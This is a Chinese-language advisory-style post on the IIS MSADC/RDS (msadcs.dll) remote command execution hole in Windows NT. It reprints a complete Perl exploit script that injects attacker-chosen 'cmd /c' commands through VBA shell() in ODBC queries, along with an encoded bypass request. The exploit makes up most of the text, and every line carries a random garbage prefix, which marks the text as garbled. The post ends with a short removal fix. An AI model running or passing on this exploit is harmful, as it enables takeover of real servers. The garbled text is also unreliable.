IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
f)!Z~t & HDKbF/ 涉及程序：
P4?glh q# Microsoft NT server
ddo#P%sH ' -N@|QK> 描述：
-/k 3a*$/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
y]im Z4{/ } %z 详细：
a T<q=DO 如果你没有时间读详细内容的话，就删除:
t
Pf40`@ c:\Program Files\Common Files\System\Msadc\msadcs.dll
R3! t$5HG 有关的安全问题就没有了。
jal-9NV)! HThcn1u~^b 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
~Z+%d9ode KG@8Rt HsQ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8f7>?BUS, 关于利用ODBC远程漏洞的描述，请参看:
| 3%8&@ho 7 |D +Ihy; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {[(h[MW# OTp]Xe/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
fV:83|eQ http://www.microsoft.com/security/bulletins/MS99-025faq.asp .o8t+X'G @6d[=!9 这里不再论述。
iUwzs&frd IAEAhqp 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
nie % eC&U Wf<L R3 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
fLVAKn 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
^GX)Z~ DN/YHSYK a> )f=uS #将下面这段保存为txt文件，然后: "perl -x 文件名"
w:l"\Tm <or2 #!perl
W l1 6`9 #
- DCbko # MSADC/RDS 'usage' (aka exploit) script
yBRC *0+Vy #
m3ff;, # by rain.forest.puppy
{^'HL #
4~=l}H>& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0ksa # beta test and find errors!
?}7p"3j'z <| &Npd' use Socket; use Getopt::Std;
,
dp0;nkr getopts("e:vd:h:XR", \%args);
5coZ|O&f8 rH>)oThA# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
v@Ox:wl> zT[!o
j7 if (!defined $args{h} && !defined $args{R}) {
smLQS+UE print qq~
*j-aXN/ $ Usage: msadc.pl -h <host> { -d <delay> -X -v }
&0f,~ /%Z -h <host> = host you want to scan (ip or domain)
dTtSUA|V7" -d <seconds> = delay between calls, default 1 second
2JFpZU"1 -X = dump Index Server path table, if available
2-b6gc7 -v = verbose
&OBkevg -e = external dictionary file for step 5
MW{8VH6+ T>GM%^h,7- Or a -R will resume a command session
XUw/2"D'? 4 OX^( ~; exit;}
_
J[ # [a*rD%m $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
fzA9'i` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X jX2] if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s{ " 2L{,$ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
VD :/PL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
qCO/?kW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0;ji65 C-[1iW' if (!defined $args{R}){ $ret = &has_msadc;
tl].r| yl die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;>YzEo $g7<Y*t[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!a<ng&H^U . "cmd /c ";
+MLVbK $in=<STDIN>; chomp $in;
gNhQD*+>{ $command="cmd /c " . $in ;
*#Wdc O `- @ A 5?3(e if (defined $args{R}) {&load; exit;}
T^v}mWCZ >*n0n! vF print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
1QJL . &try_btcustmr;
B UR*n;V` =ruao'A print "\nStep 2: Trying to make our own DSN...";
9C \Fq- &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
iIogx8[ _y3Xb `0a print "\nStep 3: Trying known DSNs...";
Lk$B{2^n &known_dsn;
wT\49DT"7 j+(I"h3 print "\nStep 4: Trying known .mdbs...";
_~
& iq1 &known_mdb;
<9%R\_@$H g[t [/TV if (defined $args{e}){
BSMwdr print "\nStep 5: Trying dictionary of DSN names...";
RGU\h[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`KQvJjA6 4H-'Dr=G print "Sorry Charley...maybe next time?\n";
Tqk\XILG N exit;
^KELKv, _ &w~d_</ ##############################################################################
FE{FGM q LD g?'y;2 sub sendraw { # ripped and modded from whisker
LrK,_)r:~ sleep($delay); # it's a DoS on the server! At least on mine...
T5:G$-qL( my ($pstr)=@_;
l \?c}7k socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
B+0hzkPY die("Socket problems\n");
hG:|9Sol, if(connect(S,pack "SnA4x8",2,80,$target)){
j w9b ) select(S); $|=1;
\j)E 5b+ print $pstr; my @in=<S>;
6x|j Pb select(STDOUT); close(S);
$j?1g # return @in;
~!3r&( } else { die("Can't connect...\n"); }}
PzR[KUK 9$m|'$p3sG ##############################################################################
C/&-l{7 ,=mS,r7 sub make_header { # make the HTTP request
D ) 'bH5 my $msadc=<<EOT
orvp*F{7[H POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
$2el&I User-Agent: ACTIVEDATA
;ZG\p TCA Host: $ip
65m"J' Content-Length: $clen
^Q^_?~h* ! Connection: Keep-Alive
rc>6.sM
% \B
7tX ADCClientVersion:01.06
) ];K .zP Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5P$4 =z91
v<:R# --!ADM!ROX!YOUR!WORLD!
I)W`sBL Content-Type: application/x-varg
^Va1f'g Content-Length: $reqlen
L u0x
(/ F*K_+
?m EOT
$D UZ!zaH! ; $msadc=~s/\n/\r\n/g;
4YX3+oS return $msadc;}
&l[$*<P5V &(mR>
mT ##############################################################################
-FCe:iY! A ! &Pui{F sub make_req { # make the RDS request
D #/Bx[ my ($switch, $p1, $p2)=@_;
T${Q.zHY[! my $req=""; my $t1, $t2, $query, $dsn;
N{~Y J$!8 ]]juN if ($switch==1){ # this is the btcustmr.mdb query
@Pzu^ $query="Select * from Customers where City=" . make_shell();
E=w1=,/y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
"v4B5:bmqW $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5Zva : bNoW?8bZ elsif ($switch==2){ # this is general make table query
z%LIX^q9 $query="create table AZZ (B int, C varchar(10))";
4I? ^ t" $dsn="$p1";}
5lT*hF _H=Uwi_g elsif ($switch==3){ # this is general exploit table query
~BkCp pI $query="select * from AZZ where C=" . make_shell();
g
SAt@2*U2 $dsn="$p1";}
U~l$\ c BIWW Mg elsif ($switch==4){ # attempt to hork file info from index server
P_p<`sC9 $query="select path from scope()";
8&Y^""#e) $dsn="Provider=MSIDXS;";}
M+ 9 gL3W L`EBfz\n elsif ($switch==5){ # bad query
)Iq <+IJ $query="select";
:Qf '2.h) $dsn="$p1";}
w(TJ*::T }XM(:|8J, $t1= make_unicode($query);
x 7x\Y(@ $t2= make_unicode($dsn);
`%Al>u5 $req = "\x02\x00\x03\x00";
Q'mM3pq4r $req.= "\x08\x00" . pack ("S1", length($t1));
kd$D 3S ^{ $req.= "\x00\x00" . $t1 ;
5RpjN: 3 $req.= "\x08\x00" . pack ("S1", length($t2));
3 gj+%%!G\ $req.= "\x00\x00" . $t2 ;
ZEO,]$Yi7 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0tB0@Wj return $req;}
,$+V yN
s,Ll~ ##############################################################################
[bN x^VP* bB;5s`- sub make_shell { # this makes the shell() statement
r!a3\ep return "'|shell(\"$command\")|'";}
^_5r<{7/ : gH3v k $WS ##############################################################################
{LQ#y/ H? @<]Ekkg sub make_unicode { # quick little function to convert to unicode
h@WhNk7"xa my ($in)=@_; my $out;
?r+- for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{Wu$YWE*sx return $out;}
yw3$2EW Y<ql49- X ##############################################################################
c>~*/%+ ,V:SN~P66+ sub rdo_success { # checks for RDO return success (this is kludge)
p >t#@Eu| my (@in) = @_; my $base=content_start(@in);
JNUt$h if($in[$base]=~/multipart\/mixed/){
u21EP[[, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
P0PWJ^+,+ return 0;}
tlp@?(u 3az& <Pqb ##############################################################################
5vZ^0yFQ &;sP_ h sub make_dsn { # this makes a DSN for us
g5 QZ0Qkj my @drives=("c","d","e","f");
dIBE!4 V[ print "\nMaking DSN: ";
>:! X.TG$ foreach $drive (@drives) {
L RG6:& print "$drive: ";
pW sDzb6?% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
fG(SNNl+D "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T+K ):u g . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
P{+T< bk| $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
zXxT%ZcCj return 0 if $2 eq "404"; # not found/doesn't exist
)fSOi| |C if($2 eq "200") {
6Yxh9*N~] foreach $line (@results) {
z}ddqZ27G$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{"QNJq#: } return 0;}
Um-[ ~- FfPar:PHj ##############################################################################
vV e';|8v Ab"@7 14@ sub verify_exists {
~-J]W-n my ($page)=@_;
Z//+Gw<' my @results=sendraw("GET $page HTTP/1.0\n\n");
sAD}#Zw$ return $results[0];}
)i^<r ;_z aL&7 1^R, ##############################################################################
H_X [t* 2 !XCm>]R sub try_btcustmr {
krvp&+uX my @drives=("c","d","e","f");
.KUv( - my @dirs=("winnt","winnt35","winnt351","win","windows");
Z%/=|[9i "Yj'oE% \ foreach $dir (@dirs) {
:GP]P^M;G@ print "$dir -> "; # fun status so you can see progress
ApV~( k)W foreach $drive (@drives) {
Uu(SR/R} print "$drive: "; # ditto
}m;,Q9:+m^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
o-OHjFfB $reqlenlen=length( "$reqlen" );
lun\`f 5Q $clen= 206 + $reqlenlen + $reqlen;
W_8wed:b {|:;]T"y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'd$P`Vw: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
PFne+T!2F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
5BKt1%Pg XkF%.hWo ##############################################################################
c+$*$|t=v` b8SHg^} sub odbc_error {
AKyUfAj3 my (@in)=@_; my $base;
m(# LhlX my $base = content_start(@in);
?fjuh}Q5h if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}h!f eP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Midy" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
T<p !5`B 1 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
EYEnN return $in[$base+4].$in[$base+5].$in[$base+6];}
h+&OQ%e=8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,\n& I( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
DBD%6o>]K $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&NoS=(s, 8UyMVY ##############################################################################
?!cvf{a +M$Q
=6/ sub verbose {
;n=.>s*XL' my ($in)=@_;
71gT.E return if !$verbose;
E!l!OtFL print STDOUT "\n$in\n";}
$5< #n@
$#S&QHyEe ##############################################################################
b+6\JE^M z w6GyBo{2O_ sub save {
SO( NVJh my ($p1, $p2, $p3, $p4)=@_;
Dq5j1m. open(OUT, ">rds.save") || print "Problem saving parameters...\n";
FrYqaP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X4E%2-m@' close OUT;}
a8iQ4
=&2 Lb ##############################################################################
&c:Ad%
z #( jw!d& sub load {
,5, !es@`b my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u\{ g(li-I open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=L:4i\4 @p=<IN>; close(IN);
2h1C9n%j9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
87P>IO $target= inet_aton($ip) || die("inet_aton problems");
U\;6mK)M^J print "Resuming to $ip ...";
()+ <)hg}2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
^,8)iV0j_ if($p[1]==1) {
J )~L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
L=8<B=QT$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U`d5vEhT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n3Z 5t if (rdo_success(@results)){print "Success!\n";}
4/1d&Sg else { print "failed\n"; verbose(odbc_error(@results));}}
WP+oFkw> elsif ($p[1]==3){
R0vI bFwj if(run_query("$p[3]")){
4K\(xd&Q print "Success!\n";} else { print "failed\n"; }}
]<pjXVRt" elsif ($p[1]==4){
L>%o[ tS if(run_query($drvst . "$p[3]")){
e5B Qr$j print "Success!\n"; } else { print "failed\n"; }}
~ga`\% J exit;}
) 3w@]5j % !>I*H ##############################################################################
#+5 pgD2C aL%AQ B, sub create_table {
muZ~*kMc my ($in)=@_;
DRgTe&+ $reqlen=length( make_req(2,$in,"") ) - 28;
ul2")HL]; $reqlenlen=length( "$reqlen" );
CS -uNG6 $clen= 206 + $reqlenlen + $reqlen;
ayD}r#7 my @results=sendraw(make_header() . make_req(2,$in,""));
}mdAM6 return 1 if rdo_success(@results);
,Bo>E: u my $temp= odbc_error(@results); verbose($temp);
}J1tdko# return 1 if $temp=~/Table 'AZZ' already exists/;
.CU5}Tv - return 0;}
mkF" 5v}8org ##############################################################################
Vq;A>
?yR&/ a sub known_dsn {
,7NZu0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.0rh y2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"zFNg'; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$UCAhG$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
\l C K7W6ZH9; foreach $dSn (@dsns) {
`~;rb lo; print ".";
7`8Ik`lY next if (!is_access("DSN=$dSn"));
BT"42#7_ if(create_table("DSN=$dSn")){
xs:n\N print "$dSn successful\n";
;R?I4}O#R8 if(run_query("DSN=$dSn")){
%V{7DA&C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cw W odPNm print "Something's borked. Use verbose next time\n";}}} print "\n";}
lh D,\3/O @ u%_1 ##############################################################################
EC8b=B<DE S. q].a sub is_access {
QC;^xG+W my ($in)=@_;
W.0L:3<" $reqlen=length( make_req(5,$in,"") ) - 28;
!\L/[:n $reqlenlen=length( "$reqlen" );
.Pw\~X3! $clen= 206 + $reqlenlen + $reqlen;
.0O2Qqdg my @results=sendraw(make_header() . make_req(5,$in,""));
5<j%EQN|D my $temp= odbc_error(@results);
LLXVNO@e+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
P2'DD 3 return 0;}
,gOOiB
} sWblFvHqrU ##############################################################################
@kU@N?5e aj,T)oDbt6 sub run_query {
MFm"G my ($in)=@_;
z` FCs,?K $reqlen=length( make_req(3,$in,"") ) - 28;
hQH nwr $reqlenlen=length( "$reqlen" );
xD[Gq% $clen= 206 + $reqlenlen + $reqlen;
/ iV}HV0 my @results=sendraw(make_header() . make_req(3,$in,""));
hcbv;[bG return 1 if rdo_success(@results);
V6 #K2 my $temp= odbc_error(@results); verbose($temp);
S'B|>!z@ return 0;}
jR#~I@q^ eT8} ##############################################################################
H4!+q:< /E5 5Pec sub known_mdb {
~\3kx]^10 my @drives=("c","d","e","f","g");
L^4-5 `gj my @dirs=("winnt","winnt35","winnt351","win","windows");
| j a- my $dir, $drive, $mdb;
i?:_ :"^x my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
R@#G>4 -s$F&\5by # this is sparse, because I don't know of many
QtqfG{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
70mpSD3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
B 0!"A "\\system32\\certmdb.mdb",
mzc
4/<th "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`o? Ph&p} r~n sN*t my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
VZ](uF BY "\\cfusion\\cfapps\\forums\\forums_.mdb",
{Gw.l." "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Xy &uZ "\\cfusion\\cfapps\\security\\realm_.mdb",
V-r3-b "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#\ n8M "\\cfusion\\database\\cfexamples.mdb",
0#*#a13 "\\cfusion\\database\\cfsnippets.mdb",
_#}n~ }d "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
tP%{P"g3^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
GMZv RAu i "\\cfusion\\brighttiger\\database\\cleam.mdb",
j"@93D~ "\\cfusion\\database\\smpolicy.mdb",
gzD@cx?V "\\cfusion\\database\cypress.mdb",
0 Ir<y "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z)xaJGbw "\\website\\cgi-win\\dbsample.mdb",
,SiY;(b=\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
xvSuPP4 m "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&gE 75B ); #these are just
(? ! ,p^ foreach $drive (@drives) {
"a/ Q%.P foreach $dir (@dirs){
u@%r foreach $mdb (@sysmdbs) {
~ Yngkt print ".";
I1>N4R-j if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
. eO ?Z^ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
h"[+)q%L if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
la?Wnw print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
t/PlcV_M" } else { print "Something's borked. Use verbose next time\n"; }}}}}
$ 4T2z- |xv y')(b foreach $drive (@drives) {
0%
#<c p foreach $mdb (@mdbs) {
<Ex Z:ip print ".";
~w;]c_{.b if(create_table($drv . $drive . $dir . $mdb)){
d4 (/m_HMu print "\n" . $drive . $dir . $mdb . " successful\n";
.pvV1JA' if(run_query($drv . $drive . $dir . $mdb)){
5rV( ( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
l?)ZJ3]a } else { print "Something's borked. Use verbose next time\n"; }}}}
H7k PM[ }
A?T<", bO ?kz+R' ##############################################################################
^p/Ob'! !!nuAQ"E[ sub hork_idx {
h}Wdh1.M3 print "\nAttempting to dump Index Server tables...\n";
1uk 0d`JL print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*79m^ $reqlen=length( make_req(4,"","") ) - 28;
?}Lg)EFH $reqlenlen=length( "$reqlen" );
o!r8{L $clen= 206 + $reqlenlen + $reqlen;
~b|`'kU my @results=sendraw2(make_header() . make_req(4,"",""));
1I}b|6
` if (rdo_success(@results)){
08m;{+|vY my $max=@results; my $c; my %d;
C}*cx$. for($c=19; $c<$max; $c++){
:aIN9 ; $results[$c]=~s/\x00//g;
% D`,k*X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
\rV
B5|D? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
LR,7,DH$9' $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
')$NfarQ . $d{"$1$2"}="";}
kz S=g|_ foreach $c (keys %d){ print "$c\n"; }
^v@4 |E$ } else {print "Index server doesn't seem to be installed.\n"; }}
N9rBW O!Z|r ? ##############################################################################
@v*/R%rv t = _8Tp~j sub dsn_dict {
`j9$T:` open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^:jN3@ Q% while(<IN>){
yRYWc h $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
s $*'^: next if (!is_access("DSN=$dSn"));
x)_@9ldYv if(create_table("DSN=$dSn")){
m%8q Zzqk print "$dSn successful\n";
;!T{%-tP if(run_query("DSN=$dSn")){
?n \*,{9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@ E53JKYhY print "Something's borked. Use verbose next time\n";}}}
1Fi86 print "\n"; close(IN);}
qJ_1*!!91 Sm2>'C ##############################################################################
8Z2.`(3c[ JkA|Qdj~Mr sub sendraw2 { # ripped and modded from whisker
$Vv}XMxw sleep($delay); # it's a DoS on the server! At least on mine...
p=QYc)3F my ($pstr)=@_;
<vbIp& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%An W~v die("Socket problems\n");
l~Lb!; ,dN if(connect(S,pack "SnA4x8",2,80,$target)){
)2E%b+" print "Connected. Getting data";
7a$ G@ open(OUT,">raw.out"); my @in;
b( ^^m:(w select(S); $|=1; print $pstr;
2 _t=P|Uo while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
9(!]NNf! close(OUT); select(STDOUT); close(S); return @in;
O;]?gj 1@ } else { die("Can't connect...\n"); }}
HZ*0QgW\(5 vG2b:[W ##############################################################################
<39!G7ny lKEa)KF[ sub content_start { # this will take in the server headers
Y#01o&f0n my (@in)=@_; my $c;
s 2v(=
for ($c=1;$c<500;$c++) {
yO>V/5` if($in[$c] =~/^\x0d\x0a/){
WnAd5#G if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
I}Xg &-L else { return $c+1; }}}
vVs#^"-nW return -1;} # it should never get here actually
)DUL)S y/@iT 8$rp ##############################################################################
!=*.$4 6b Z[Kt sub funky {
e^ $j5jV my (@in)=@_; my $error=odbc_error(@in);
7XyOB+aQO if($error=~/ADO could not find the specified provider/){
lg1PE7 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
v&MU=Tcqi exit;}
[ev- ^[ if($error=~/A Handler is required/){
cVq}c? print "\nServer has custom handler filters (they most likely are patched)\n";
ZZ)G5ji exit;}
9|S` ub' if($error=~/specified Handler has denied Access/){
a1MFjmq print "\nServer has custom handler filters (they most likely are patched)\n";
2#_38=K =@ exit;}}
5`E))?*"Pe \T-~JQVj ##############################################################################
oaDsk<(j;R [D'Gr*5~{ sub has_msadc {
3LlU ] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
px9>:t[P my $base=content_start(@results);
2go> return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
O(OmGu4% return 0;}
y?N Nz0 L N!W(n( ########################
`!w^0k Z 8t .dPy< CM~MoV[k7e 解决方案：
LI:T c7t 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Kv+Bfh 2、移除web 目录: /msadc
